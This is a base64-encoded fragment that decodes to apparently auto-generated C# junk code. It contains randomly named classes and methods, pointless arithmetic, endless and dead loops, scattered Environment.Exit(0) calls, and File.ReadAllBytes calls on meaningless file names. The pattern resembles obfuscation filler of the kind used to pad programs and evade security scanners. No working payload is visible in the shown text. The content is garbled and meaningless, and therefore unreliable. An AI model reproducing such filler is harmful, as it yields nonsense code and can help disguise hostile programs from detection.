MTA0Nzc2OyAKdWludCBRZ0dQRVh1aCA9IDI7IApzdHJpbmcgWUlnVklZREwgPSAiQ2lSckxPd3oiOyAKIENvbnNvbGUuV3JpdGVMaW5lKFlJZ1ZJWURMKTt1c2hvcnQgZkd4aUFGYm8gPSAzMjczODsgCg0KfXB1YmxpYyB2b2lkIGR3eFh1RXR5KCl7DQpzdHJpbmcgUkdGR0lUVVMgPSAidlJjc0JhdVQiOyAKIENvbnNvbGUuV3JpdGVMaW5lKFJHRkdJVFVTKTt1c2hvcnQga1lkc0FjWmkgPSAyOTE3NzsgCmludCBxbHduSEdrdyA9IDc2OyAKd2hpbGUocWx3bkhHa3cgPT0gNzYpew0KcWx3bkhHa3cgKz0gODA4Mzg4Ow0KfWludCBDRlNuSkVYTCA9IDk4Mzc7IAppZihDRlNuSkVYTCA9PSAyNTQ2Njkpew0KQ0ZTbkpFWEwgKz0gMzA4Mjc0Ow0KfWJ5dGUgZlhtbU9EdEggPSAgMTQ2OyAKIEVudmlyb25tZW50LkV4aXQoMCk7Ynl0ZSBEQlB4VFRCRiA9ICAzMDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3VpbnQgSXpYQ09YS0UgPSAzNTU1NjA4MjsgCnNieXRlIFZQSVFSa2dsID0gIC0yNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgTGhrQ01uRnkoKXsNCmRvdWJsZSBBWXpFdnR1RiA9IC0zLjg5NTU0NUUtMzU7IApkb3VibGUgdkxsVnFWZ3dvVCA9IC01LjE3MzUyNUUtMjE7DQp2TGxWcVZnd29UID0gTWF0aC5TcXJ0KDMpOw0KQVl6RXZ0dUYgPSB2TGxWcVZnd29UOw0KaW50PyBERWJjY3NjR1p6QkxQTUNvVkZRQ0NWWHdsRW8gPSA1Mjg1MTIxOw0KREViY2NzY0daekJMUE1Db1ZGUUNDVlh3bEVvICs9IDIxNDIzO3VpbnQgdklhaHhidm8gPSA5NDkzMDQwMzsgCnVsb25nIENDSXVWb0RPID0gMjg5MTgwMjE0MTE2NTEzMDg7IAp1c2hvcnQgenhEZkZPd1YgPSAxNDM5NDsgCnNieXRlIEVVUXNJYmF5ID0gIDExMDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7c2hvcnQgZ05oc3RRTHUgPSAxMTA1OyAKIGJ5dGVbXSBnTmhzdFFMdWdOaHN0UUx1ID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJnTmhzdFFMdSIpO3NieXRlIEFyc1FqS1hqID0gIDI0OyAKIENvbnNvbGUuUmVhZExpbmUoKTtzdHJpbmcgZEdGQ0FDaHogPSAidXBYQnZJSGQiOyAKIENvbnNvbGUuV3JpdGVMaW5lKGRHRkNBQ2h6KTsNCn1wdWJsaWMgdm9pZCBRT1lXR2duSigpew0KZmxvYXQgdGxzVXhkeGggPSA0LjQ2NDYzNEUrMjdGOyAKZmxvYXQgRGZuSkxmZ0YgPSAyLjQ2ODMxMkUtMzZGOyAKc2hvcnQgbnhLUFhoRnMgPSAtMjg3OTc7IAogYnl0ZVtdIG54S1BYaEZzbnhLUFhoRnMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIm54S1BYaEZzIik7aW50IEZuZXJkTk1pID0gMjAxNjU1OyAKaWYoRm5lcmROTWkgPT0gNzc1MTYzKXsNCkZuZXJkTk1pID0gRm5lcmROTWkgKyA3OTU3NjE7DQp9dWludCB2Z29LQnZPRyA9IDUxMDAyOTQ0OyAKaW50IGhWUmRWQXVSID0gMTg5NjsgCmlmKGhWUmRWQXVSID09IDE5Nzc2Nil7DQpoVlJkVkF1UiArPSAxNTExNTg7DQp9dWxvbmcgaXFEaGVZSWwgPSA0NTU3NTExMzk2MjczMzQ3ODsgCmJ5dGUgcmdTZnl4QnIgPSAgMjQ4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7DQp9cHVibGljIHZvaWQgbHhRVmROS1IoKXsNCnVsb25nIEtVTkp4Tk9kID0gNzg4MzQwODY1MzQ0MTQyNjM7IApzYnl0ZSBjZWhkRk9wSyA9ICAxMDQ7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBMZUxmUWxEQSA9IDEuMTA2MDk4RS0xMTsgCmRvdWJsZSBvQkdoQ1p4a01zTVZwWWl4TlpnU1ltQ3FXVHhqTSA9IC0yLjAyMTJFKzIwOw0KTGVMZlFsREEgPSBvQkdoQ1p4a01zTVZwWWl4TlpnU1ltQ3FXVHhqTSAqIDI7DQppbnQ/IEhzZENKSlBPenZRID0gMzk1MTkzOTsNCkhzZENKSlBPenZRICs9IDI0MjI4O2RvdWJsZSBsblRZY3pMYyA9IDQuNTUzNzMzRS0yNjsgCmlmKGxuVFljekxjID09IC0zMTc2NjAwKXsNCmxuVFljekxjID0gTWF0aC5UcnVuY2F0ZShsblRZY3pMYyk7DQpDb25zb2xlLlJlYWRLZXkoKTsNCn1ieXRlIEZ1eHVUV0Z0ID0gIDEwODsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2xvbmcgS0pFaUNsb1AgPSA4MDQ3OTMzNzA3Nzc1NjE5MzsgCnVzaG9ydCBISWxPVXFVUyA9IDkxNjk7IApzYnl0ZSBLeldWR2l3VyA9ICAtNzk7IAogQ29uc29sZS5SZWFkTGluZSgpOw0KfXB1YmxpYyB2b2lkIGlITGh0ZmdnKCl7DQpzaG9ydCBjSHBJRlNFaCA9IDE5NDkzOyAKIGJ5dGVbXSBjSHBJRlNFaGNIcElGU0VoID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJjSHBJRlNFaCIpO2J5dGUgb0ZkWkp3Z0EgPSAgMjIxOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c3RyaW5nIHVIQkRDcnhJID0gInBYS1FIVk13IjsgCiBDb25zb2xlLldyaXRlTGluZSh1SEJEQ3J4SSk7aW50IEJMcVF4VERGID0gNDQwNzsgCndoaWxlKEJMcVF4VERGID09IDQ0MDcpew0KQkxxUXhUREYgPSBCTHFReFRERiArIDgxNzk0MTsNCn1zaG9ydCBWSUlnZFF2eCA9IC0yMTI5MDsgCiBieXRlW10gVklJZ2RRdnhWSUlnZFF2eCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiVklJZ2RRdngiKTtieXRlIGdybHJBZXlkID0gIDQ7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgd3Z6bFVLUlogPSAzMDE5NTsgCmZsb2F0IEVaVE9xbnlVID0gMS40MzA0MTJFKzE1RjsgCg0KfXB1YmxpYyB2b2lkIFdmSE5pcExzKCl7DQpzYnl0ZSBqTlJCeFFZUSA9ICAtMTU7IAogQ29uc29sZS5SZWFkTGluZSgpO2xvbmcgcW9jR3dxTVUgPSA0MTM2MDk4NjY3ODIwMzIzNDsgCmRvdWJsZSB5TmNmbGpiRCA9IDYuNDUzNDEzRSsxODsgCndoaWxlKHlOY2ZsamJEID09IC0yLjM1MDQ1RS0xNCl7DQp5TmNmbGpiRCA9IE1hdGguUG93KGRvdWJsZS5NaW5WYWx1ZSwgZG91YmxlLk1heFZhbHVlKTsNCkNvbnNvbGUuUmVhZEtleSgpOw0KfXNob3J0IHVhQ0NiZ2lmID0gLTEyODA2OyAKIGJ5dGVbXSB1YUNDYmdpZnVhQ0NiZ2lmID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJ1YUNDYmdpZiIpO3NieXRlIGloRk1FUkp5ID0gIDEyNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7aW50IG5CckhId1BGID0gNjAzNDE4NzI7IAp3aGlsZShuQnJISHdQRiA9PSA2MDM0MTg3Mil7DQpuQnJISHdQRiA9IG5CckhId1BGICsgMzkxNzEwOw0KfWxvbmcgcHBjWW1OeUcgPSAzMjc0ODc5MzA0NTcxNjAwMjsgCnN0cmluZyBIWmFuc255aCA9ICJXVHNNa1ZucCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoSFphbnNueWgpOw0KfQp9IHB1YmxpYyBjbGFzcyBjdnVXSERQdXtwdWJsaWMgdm9pZCBETlpmSnNVRSgpew0KdWludCBYQkp6RGZqeCA9IDM2MjY4MjY2OyAKc2hvcnQgcWZGQVRCd1UgPSAtMzI0ODk7IAogYnl0ZVtdIHFmRkFUQndVcWZGQVRCd1UgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInFmRkFUQndVIik7Ynl0ZSB2cm9PbFBtcyA9ICAxMTk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtpbnQgZ0NRb1d5SmwgPSAyODg4NjY7IAppZihnQ1FvV3lKbCA9PSAxMDc5OTEpew0KZ0NRb1d5SmwgPSAzMzA3MTc7DQp9Ynl0ZSBWZHZyaEpoUiA9ICAyMjM7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzdHJpbmcgRUZUVk9jWUkgPSAiZE9NbXpna2UiOyAKIENvbnNvbGUuV3JpdGVMaW5lKEVGVFZPY1lJKTtmbG9hdCBkRkhyWE9KaCA9IDkuNzg4NzI5RSszMEY7IAp1bG9uZyBSR1NweWlYcyA9IDYzNTU0NTAxNTQ0MDI1ODczOyAKDQp9cHVibGljIHZvaWQgWFNHWU9pQWQoKXsNCmRvdWJsZSBGVE5OSVFISyA9IC0yNDAuMzg4MTsgCndoaWxlKEZUTk5JUUhLID09IC0yLjg4OTY3NEUrMzUpew0KRlROTklRSEsgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW5oKDAuMSkpOw0KaW50PyBydEtadXpqUHFxRk9yYWVEcmVVID0gNDY1MDI1MjsNCnJ0S1p1empQcXFGT3JhZURyZVUgKz0gNzQzODM7DQp9dXNob3J0IHlrR3duZWNUID0gMzczNTk7IApmbG9hdCBOclFJb1JPVSA9IC0xLjA4NDAyMkUrMjBGOyAKdXNob3J0IHFHWHBRSEd3ID0gNTczNzk7IApmbG9hdCBXelJRV3dzRCA9IC01LjI5ODU0NUUrMjVGOyAKdWludCBUS0VXUk1MRCA9IDc0NTsgCmludCBTcVRxZGdIZCA9IDQ0ODgwNDUwOyAKaWYoU3FUcWRnSGQgPT0gMTc4NDExKXsNClNxVHFkZ0hkID0gU3FUcWRnSGQgKyAyNTQwMzA7DQp9dWxvbmcgUmlQSEpDRksgPSAzNzcwOTg4MjA4Mjg0NzY3MzsgCg0KfXB1YmxpYyB2b2lkIE5LWmNqVlJ2KCl7DQpzYnl0ZSBmTXZWZ3dEVSA9ICA5MDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWxvbmcgbnF2eHd4amogPSA2NDQzMjk3OTg3OTkyOTcyNTsgCnVzaG9ydCB0Q0FQV1NKUyA9IDYzMTIyOyAKZG91YmxlIFBnSG1OUm9DID0gLTEuNjU3NjQ4RSswOTsgClBnSG1OUm9DID0gTWF0aC5DZWlsaW5nKE1hdGguVGFuaCgwLjEpKTsNCnNieXRlIFJpbVZSdVJIID0gIDY0OyAKIENvbnNvbGUuUmVhZExpbmUoKTtsb25nIHRNUVNjZmR6ID0gNzYyNDE2MjQ0NTk4OTQzMDQ7IApzYnl0ZSBic3JEV2ltbSA9ICAtMTExOyAKIENvbnNvbGUuUmVhZExpbmUoKTtmbG9hdCBEamJBWmhqaSA9IDAuMDA3Mjc5NzY2RjsgCg0KfXB1YmxpYyB2b2lkIEFXemJmeFRuKCl7DQp1c2hvcnQgeVR4Z21hTlEgPSAxMjg4NTsgCnNieXRlIGJjdFdSdk1IID0gIDEwNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZG91YmxlIEF6cnhWRmpjID0gLTQuMDQwNDMzRS0yNzsgCndoaWxlKEF6cnhWRmpjID09IC0zLjAyNTAzRS0yNyl7DQpkb3VibGUgU3NadmpTcUdEUk8gPSAtMS4yNTY1OThFKzM3Ow0KQXpyeFZGamMgPSBNYXRoLlJvdW5kKFNzWnZqU3FHRFJPICwxLE1pZHBvaW50Um91bmRpbmcuVG9FdmVuKTsNCnRyeXsNCmludCBrb1NtSFRHZCA9IDg0NTg1MDsNCmlmKGtvU21IVEdkID09IDE0NDcyKXsNCmtvU21IVEdkKys7DQp9ZWxzZXsNCmtvU21IVEdkLS07DQp9DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfQ0KfWZsb2F0IFZhQW5JVG5JID0gMy42NTYyMDVFKzM1RjsgCnVsb25nIGFDbU9Sa0l6ID0gNTQ0OTc4Nzg3NzE1MjAxMzM7IAppbnQgeW9MVENpS1cgPSAzMjIwOTM0NzY7IAp3aGlsZSh5b0xUQ2lLVyA9PSAzMjIwOTM0NzYpew0KeW9MVENpS1cgPSA3Mjc5ODU7DQp9Ynl0ZSBxa0NhZGNwQyA9ICA1NTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2Zsb2F0IElsV29pZ25PID0gLTI0Mi4wNjM3RjsgCg0KfXB1YmxpYyB2b2lkIFRYWWJKcWRrKCl7DQpmbG9hdCBYa0NUSmliciA9IDIuNTYwNTI3RS0zNUY7IApzaG9ydCBudkdCcHpORCA9IC0yMzE4NjsgCiBieXRlW10gbnZHQnB6TkRudkdCcHpORCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygibnZHQnB6TkQiKTtkb3VibGUgcmpVeVhSZXIgPSAtMS41NTYxMTdFKzIyOyAKd2hpbGUocmpVeVhSZXIgPT0gLTQuMDYxNzk4RSszNil7DQpyalV5WFJlciA9IE1hdGguQ2VpbGluZyhNYXRoLlRhbmgoMC4xKSk7DQppbnRbXSBaZURIbm5PbVBRSER0eXFrYkh0enNPc1YgPSB7IDQ5MzMzMDIgLCAxNjE0MSB9IDsNClJhbmRvbSBHRUFTR2xZQUtSWldxamJFZExSPSBuZXcgUmFuZG9tKCk7DQpDb25zb2xlLldyaXRlTGluZShaZURIbm5PbVBRSER0eXFrYkh0enNPc1ZbR0VBU0dsWUFLUlpXcWpiRWRMUi5OZXh0KDAsMildKTsNCn1zYnl0ZSBJVHF4SXNxQSA9ICA4NDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWxvbmcgS1JBZXRReGcgPSA2NTYyMTk3MTUxNjQwNDY4NTsgCmJ5dGUgWUtGc2R2YmogPSAgMzM7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtmbG9hdCBOT2t2eXVISiA9IC02LjY5NDI5MkUrMjJGOyAKdXNob3J0IE5ZV2pPR2pUID0gMTgxMzA7IAoNCn1wdWJsaWMgdm9pZCBqd3FSVmNDcigpew0Kc3RyaW5nIEFQeGxZbUJaID0gInBHeHlQYUdzIjsgCiBDb25zb2xlLldyaXRlTGluZShBUHhsWW1CWik7bG9uZyBJSlRmQXdlRyA9IDU4NDQwOTY5ODA5MDQ4NjcwOyAKYnl0ZSBmUUNobUlpayA9ICAxMTI7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgeUFwTW53U08gPSA1NTE2MDsgCmxvbmcgdHFCRkZFbk4gPSAxNDc5NjAxNDQxMTkyMjMwMzsgCmxvbmcgTGRFSkRmR2kgPSA2MjA5NDY3MjUzMDYzMDkwMDsgCmludCB2bHdoY0h6SyA9IDI5OTsgCmlmKHZsd2hjSHpLID09IDQ3MjIxMil7DQp2bHdoY0h6SyA9IHZsd2hjSHpLICsgODE4NzQxOw0KfWxvbmcgQVdBZWprYmwgPSA3MDA0NDY4NzQ3NTcwMzIzMTsgCg0KfXB1YmxpYyB2b2lkIGpRdXBJY2x1KCl7DQpmbG9hdCBHYmpZWVNiVCA9IDEuOTExODI0RS0zOEY7IAppbnQgc29mY3JuY0IgPSA3NDsgCndoaWxlKHNvZmNybmNCID09IDc0KXsNCnNvZmNybmNCID0gc29mY3JuY0IgKyA2NDA0ODsNCn1sb25nIHNSZVVocm5KID0gNjk4ODI4MTQ2NTMxMzAyNTI7IApkb3VibGUgZ2dvYldWSFMgPSAtMC4wMDE2MTg3MTsgCndoaWxlKGdnb2JXVkhTID09IC0yLjU0NzFFKzE2KXsNCmRvdWJsZSBEb2p5UXB1R1JrU3NTVmVFWGNwID0gTWF0aC5JRUVFUmVtYWluZGVyKDMsIDQpOw0KZ2dvYldWSFMgPSBEb2p5UXB1R1JrU3NTVmVFWGNwOw0KDQp9dWludCBMSWJob0NjZyA9IDg3OyAKYnl0ZSBFQkVQeHN5eiA9ICAzNTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2ludCB2RW5WRmt0cyA9IDY3NzUxOyAKd2hpbGUodkVuVkZrdHMgPT0gNjc3NTEpew0KdkVuVkZrdHMgKz0gODczMzA0Ow0KfXVpbnQgeXl5ZkhZUGUgPSA5Mjk1OyAKDQp9cHVibGljIHZvaWQgb0Roa0JyY0QoKXsNCnNieXRlIG5WbXZ6a0pqID0gIC0xMjM7IAogQ29uc29sZS5SZWFkTGluZSgpO2J5dGUgaXROZEZQTk4gPSAgMjA0OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWludCB0WnhLaHB4SCA9IDI4NjIxNjExNDsgCmJ5dGUga1JBdEpWTmEgPSAgOTY7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgSVpiekVvTUIgPSAxOTc3OTsgCmJ5dGUgaWF0UEh3d1UgPSAgNDM7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSB3WkVxSlBBWSA9ICA2MzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWludCBCVVJrU3JwYiA9IDk7IAoNCn0KfSBwdWJsaWMgY2xhc3Mgb1ZrcG5BWkp7cHVibGljIHZvaWQgeGZLaGhVdm8oKXsNCnVpbnQgU1drbVNoYUsgPSA3NzsgCmJ5dGUgRlRHYXV3Q04gPSAgMTE5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWxvbmcgYVNKa3Jwc3AgPSA3NzY0NzI2Mjk1MzcyNTkxMzsgCnVsb25nIENVc2N6TFZ6ID0gMzU3OTY0ODk3MTQ0MTE0NTI7IAp1c2hvcnQgYXFwZGt6b2kgPSA1NDU1NjsgCnNieXRlIExsd1FiQVBNID0gIC05MzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dXNob3J0IEdMSmZiTWh2ID0gNDE0NzA7IApzYnl0ZSBmSXhsSmJvaSA9ICAtMTA1OyAKIENvbnNvbGUuUmVhZExpbmUoKTsNCn1wdWJsaWMgdm9pZCBNR1F4cERGRCgpew0KZG91YmxlIFNkZEtubHF0ID0gLTguNzU5Mzk1RS0yMDsgCmRvdWJsZSBMT3JFSVhSdGFPbnFWSUljTWpaSUtFdFl6SSA9IDkuNjkxMTg5RS0zMTsNClNkZEtubHF0ID0gTE9yRUlYUnRhT25xVklJY01qWklLRXRZekkgLyAzOw0KbG9uZyBYRnVNWlVlSiA9IDY0NjcwNDg4NzcwNTQ4Mjg0OyAKZmxvYXQgWVRGWXJybWogPSAzLjM0OTA5NkUrMjdGOyAKbG9uZyB2bmZYeVlNaSA9IDQzMTA1MzM5NTc4MjQyNzE3OyAKYnl0ZSBORHhuU0FtYyA9ICAyNDQ7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1bG9uZyBMVktkR0FweiA9IDY3NzYwMDQyMTcxNzc1MTY3OyAKZmxvYXQgSHNLYk93dVggPSA2LjYzODY5M0UtMDlGOyAKc2hvcnQgUGxRTGRWc20gPSAxMDA5NTsgCiBieXRlW10gUGxRTGRWc21QbFFMZFZzbSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiUGxRTGRWc20iKTsNCn1wdWJsaWMgdm9pZCBrZnRNZnhxQigpew0Kc2J5dGUgaXVMYXduZEEgPSAgLTEyNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyBxbG54SUh1YyA9IDE0ODYyNTM2OTM0NzUzNjQxOyAKZmxvYXQgbXpqRlZqaUMgPSAtMS4zMzI4MzVFLTMxRjsgCmJ5dGUgaXV3WUhBSWQgPSAgNDk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtkb3VibGUgUVp1dEhSemEgPSA3LjU4MTQzMUUtMjk7IAppZihRWnV0SFJ6YSA9PSAxLjI0NzUzMkUrMjcpew0KUVp1dEhSemEgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW5oKDAuMSkpOw0KaW50PyBEc2ZQZXl4ID0gOTQ5MjA4OTsNCkRzZlBleXggKz0gNDE1MzsNCn1mbG9hdCBidlRyaHdZQiA9IC01MTMuMjkzOUY7IAppbnQgc055SFJhbmUgPSAyMjQ2OyAKaWYoc055SFJhbmUgPT0gNjIzNjMzKXsNCnNOeUhSYW5lID0gc055SFJhbmUgKyAzMDcyMzY7DQp9c2hvcnQgSHlqVlNxamcgPSAtODc0NDsgCiBieXRlW10gSHlqVlNxamdIeWpWU3FqZyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiSHlqVlNxamciKTsNCn1wdWJsaWMgdm9pZCBLVWVYWGpaQigpew0KbG9uZyBqeURJS1ZaVSA9IDE3ODQyMTgyODY1NTk5ODUyOyAKc3RyaW5nIEJMYlBBREROID0gIktWWGpXVmtPIjsgCiBDb25zb2xlLldyaXRlTGluZShCTGJQQURETik7bG9uZyBUdk1Vald0eiA9IDgwMjQ1NjYzMTczODcxOTk5OyAKbG9uZyBYdGZ5TWlQcSA9IDcxOTg5MDM2MTI5OTU1ODUwOyAKZG91YmxlIENzeVNGQmhIID0gLTUuODczNTExRSszNTsgCmlmKENzeVNGQmhIID09IC0xLjAwMTcxOEUrMzIpew0KQ3N5U0ZCaEggPSBNYXRoLlRydW5jYXRlKENzeVNGQmhIKTsNCkNvbnNvbGUuV3JpdGVMaW5lKENzeVNGQmhILlRvU3RyaW5nKCkpOw0KfWJ5dGUgVHpaa0hmbkwgPSAgMDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Vsb25nIGhpb2lBbXh1ID0gMzg3MDU2MDA4NTUyNTE1MzA7IApzdHJpbmcgVkZzb1JFcXcgPSAiamR2Z1BRelgiOyAKIENvbnNvbGUuV3JpdGVMaW5lKFZGc29SRXF3KTsNCn1wdWJsaWMgdm9pZCBMUGNoQnNkZCgpew0KbG9uZyBOVGNCR2VCbCA9IDYyNTkyNTY2MjU1MTE5Nzc3OyAKaW50IE9hTUhyQWlzID0gMjYxODU5OyAKaWYoT2FNSHJBaXMgPT0gNjA0NTI2KXsNCk9hTUhyQWlzICs9IDExMzUxNDsNCn1sb25nIHl6dHV5RVBhID0gNzgyNTIyNDY1NzQ4OTQ4Nzg7IAppbnQgVHVIeXlaRFAgPSA0MDcxOyAKd2hpbGUoVHVIeXlaRFAgPT0gNDA3MSl7DQpUdUh5eVpEUCArPSA4NzU5NDU7DQp9ZG91YmxlIEpBb3BaZ294ID0gMS44NjgzNjNFLTI0OyAKSkFvcFpnb3ggPSBNYXRoLlRydW5jYXRlKEpBb3BaZ294KTsNCnRyeXsNCmludCBtRmVIaUtiTnpkRWtDZnp5UUd6WCA9IDk5NjE1NjM7DQppZihtRmVIaUtiTnpkRWtDZnp5UUd6WCA9PSA4Mjg2MSl7DQptRmVIaUtiTnpkRWtDZnp5UUd6WCsrOw0KfWVsc2V7DQptRmVIaUtiTnpkRWtDZnp5UUd6WC0tOw0KQ29uc29sZS5Xcml0ZShtRmVIaUtiTnpkRWtDZnp5UUd6WC5Ub1N0cmluZygpKTsNCn0NCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9ZmxvYXQgZ2hwcW1pVUwgPSAwLjAwMDM4OTA5NDlGOyAKdXNob3J0IGFSU1hLWmlwID0gNTgxNzM7IApzaG9ydCBiZWJnZlBsSSA9IDE5NTc1OyAKIGJ5dGVbXSBiZWJnZlBsSWJlYmdmUGxJID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJiZWJnZlBsSSIpOw0KfXB1YmxpYyB2b2lkIHRTTHhDWmNWKCl7DQpieXRlIFRsakZ1UklpID0gIDc5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7aW50IERxeFBMampDID0gMTY7IAppZihEcXhQTGpqQyA9PSA0NTMxOTEpew0KRHF4UExqakMgPSA0OTcwMjc7DQp9bG9uZyBUSGd2S1NlYSA9IDM3MzM4MjI2ODQ4MjA5NjE4OyAKdXNob3J0IEdkcndLelBKID0gMjY3Nzk7IAp1aW50IFNZV0d3RXpwID0gODAwNjY7IApieXRlIHNZWlJFRGJoID0gIDE2NjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2J5dGUgbk1mZW93RlggPSAgMTk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtsb25nIGJTdWZoTHZ4ID0gODE0Njk0MDU2NjUyNjQ1Mjk7IAoNCn1wdWJsaWMgdm9pZCBSZmNjd1FIbigpew0KdXNob3J0IGxuQUdsdE1KID0gNTgxOyAKYnl0ZSB0aFdrR0V2bSA9ICA4NjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3VpbnQgd3VVbVNqUVEgPSA5Njk3OTgyMzsgCnVsb25nIGxIbG16SUhvID0gNTU4NTM3MjY5OTA1NTI0NTA7IApieXRlIFBCd3l1aGJxID0gIDI1MjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2xvbmcgSFNwUmZRbVogPSA1ODkzNDQ4MTUyNjkwMTE7IApzdHJpbmcgUnFCS1FlVnMgPSAicGtKRVRrb2siOyAKIENvbnNvbGUuV3JpdGVMaW5lKFJxQktRZVZzKTt1aW50IFpsa0VQRnZ1ID0gOTY7IAoNCn1wdWJsaWMgdm9pZCBnT1RkWGlyVigpew0KdWludCBLUVNnQkhDSCA9IDg5OyAKc3RyaW5nIFd4b0dvQnVEID0gImlsR1ZTRER3IjsgCiBDb25zb2xlLldyaXRlTGluZShXeG9Hb0J1RCk7c2hvcnQgRktMTG5QTHEgPSAtNzI4MDsgCiBieXRlW10gRktMTG5QTHFGS0xMblBMcSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiRktMTG5QTHEiKTtkb3VibGUgUFF4SHdFUnogPSAyLjk3NTdFLTMyOyAKZG91YmxlIFFYU0pFbXp3TUNLUmJTWkJFY2d0V053ID0gLTEuMzMzMTA3RS0yNjsNClBReEh3RVJ6ID0gTWF0aC5Sb3VuZChRWFNKRW16d01DS1JiU1pCRWNndFdOdyAsMSxNaWRwb2ludFJvdW5kaW5nLlRvRXZlbik7DQp0cnl7DQppbnQgUU5mUU1iYVBtVlRqa0VmcWlyYWloYUNxZW9rbCA9IDgyMDYxMjk7DQppZihRTmZRTWJhUG1WVGprRWZxaXJhaWhhQ3Flb2tsID09IDk4NDY0KXsNClFOZlFNYmFQbVZUamtFZnFpcmFpaGFDcWVva2wrKzsNCn1lbHNlew0KUU5mUU1iYVBtVlRqa0VmcWlyYWloYUNxZW9rbC0tOw0KQ29uc29sZS5Xcml0ZShRTmZRTWJhUG1WVGprRWZxaXJhaWhhQ3Flb2tsLlRvU3RyaW5nKCkpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn1sb25nIGZnUlhzd1drID0gNjM3NzEwMDE5NDEwODY5NDc7IApkb3VibGUgenphWHlRdXogPSAxLjMzNTk3MkUtMDc7IAp3aGlsZSh6emFYeVF1eiA9PSAtNi4wODY1MjNFLTMyKXsNCmRvdWJsZSBMSk1OdFpSbENLVSA9IDEuMTIxMDM1RSsxMDsNCkxKTU50WlJsQ0tVID0gTWF0aC5TcXJ0KDMpOw0KenphWHlRdXogPSBMSk1OdFpSbENLVTsNCmZvciggOyA7KSB7DQpDb25zb2xlLldyaXRlTGluZSgtOC4zNzAyNzJFLTIzKTsNCn0NCn1zYnl0ZSBzY2pmcE5XRyA9ICAxMjE7IAogQ29uc29sZS5SZWFkTGluZSgpO3N0cmluZyBNYnBBemJMUyA9ICJFbExjSW9ZZiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoTWJwQXpiTFMpOw0KfQp9IHB1YmxpYyBjbGFzcyBVaWtKZWZ5YXtwdWJsaWMgdm9pZCByUnVwUEpvVCgpew0Kc2J5dGUgRkRyVmR5V3ogPSAgLTg1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgR2JoZUFGdmwgPSA2LjU2NTUyNEUrMzQ7IAp3aGlsZShHYmhlQUZ2bCA9PSAtMy4zNzMxNDFFLTE4KXsNCmRvdWJsZSBNRXFGbmNxclVqRnBPc1pSdkJjUXBiUnZ5RkZaTyA9IC0yLjU0ODIyM0UtMTQ7DQp0cnl7DQpDb25zb2xlLldyaXRlTGluZShHYmhlQUZ2bC5Ub1N0cmluZygpKTsNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KQ29uc29sZS5Xcml0ZUxpbmUoZXguTWVzc2FnZSk7DQp9DQp9aW50IE5HUGRqeW5pID0gMTY1NDc5OyAKd2hpbGUoTkdQZGp5bmkgPT0gMTY1NDc5KXsNCk5HUGRqeW5pICs9IDg0NDY2MDsNCn1mbG9hdCBqbkR1ZFdyciA9IC04LjQwMTYzN0UrMTlGOyAKdWludCBmZkxhUE1jcCA9IDM3MTg0MjsgCmxvbmcgcXhOTkpIa0ogPSAyMTQ0NDAwNjQ4MTUxMzM4MzsgCmJ5dGUgUVNycG11aXMgPSAgMTUyOyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWxvbmcgYlVMb0Jja0EgPSA1NjUwODEzNDUxNjQ2NTMxMjsgCg0KfXB1YmxpYyB2b2lkIGZQTGFzTGZIKCl7DQpieXRlIFZQUWRCUlBtID0gIDkwOyAKIEVudmlyb25tZW50LkV4aXQoMCk7bG9uZyBkT1pCV05RTyA9IDI2MTYzNDgyMTcxODQ4MTg5